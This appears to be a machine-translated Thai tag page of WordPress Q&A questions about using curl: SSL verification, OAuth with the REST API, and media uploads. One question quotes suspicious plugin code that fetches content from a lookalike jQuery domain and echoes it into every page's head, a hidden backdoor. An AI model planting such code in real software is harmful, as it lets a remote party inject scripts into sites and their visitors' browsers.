คำถามติดแท็ก curl

3
จะปลอดภัยหรือไม่ที่จะใช้ sslverify => จริงสำหรับด้วย wp_remote_get / wp_remote_post
ฉันใช้อาร์กิวเมนต์นี้เพื่อป้องกันข้อผิดพลาดด้วยwp_remote_getและwp_remote_post array( 'sslverify' => false ) เพื่อเหตุผลด้านความปลอดภัยฉันต้องการตั้งค่าเป็นtrue(หรือลบออกเนื่องจากค่าเริ่มต้นเป็นจริง) ฉันควรคาดหวังว่าจะมีปัญหาใด ๆ

4
วิธีใช้การตรวจสอบสิทธิ์ OAuth กับ REST API ผ่านคำสั่ง CURL
ฉันกำลังพยายามใช้ WordPress Rest Api พร้อมการพิสูจน์ตัวตนเพื่อรับข้อมูลเพิ่มเติมจาก API ฉันได้ติดตั้งปลั๊กอิน Oauth ปลั๊กอิน rest-api และรับข้อมูลรับรอง API จาก WP-CLI ฉันหาวิธีเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต งานนี้: // set our end point $domain = "http://localhost/wp-api"; $endpoint = $domain."/wp-json/wp/v2/posts/"; $curl = curl_init($endpoint); curl_setopt_array($curl, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_URL => $endpoint, ]); $response = curl_exec($curl); $decoderesponse = json_decode($response, true); ?> <pre> <?php print_r($decoderesponse); …

2
ฉันพบสิ่งนี้ในปลั๊กอิน มันทำอะไร? มันอันตรายไหม
ฉันพบสิ่งนี้ในปลั๊กอิน มันทำอะไร? มันอันตรายไหม add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }

1
การอัพโหลดสื่อด้วย REST API
ฉันมีปัญหาในการอัพโหลดสื่อไปยังเว็บไซต์ WordPress ด้วย JSON REST API ด้วยรหัสต่อไปนี้ฉันสามารถอัปโหลดภาพถ่าย แต่ไม่มีการกำหนดข้อมูลให้กับพวกเขาแม้แต่ชื่อจริง ๆ แล้วชื่อนั้นจะกลายเป็น URL และชื่อไฟล์โดยอัตโนมัติ (ไม่มีส่วนขยาย) $username = "ZX"; $password = "ZX"; $host = 'http://ZX.com/wp-json/wp/v2/media'; $data = json_encode($data); $file = '/Users/xx.png'; $imagedata = file_get_contents($file); $process = curl_init($host); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_BINARYTRANSFER, TRUE); curl_setopt($process, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($process, CURLOPT_TIMEOUT, 50); curl_setopt($process, CURLOPT_USERPWD, $username . …
9 php  uploads  media  wp-api  curl 
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.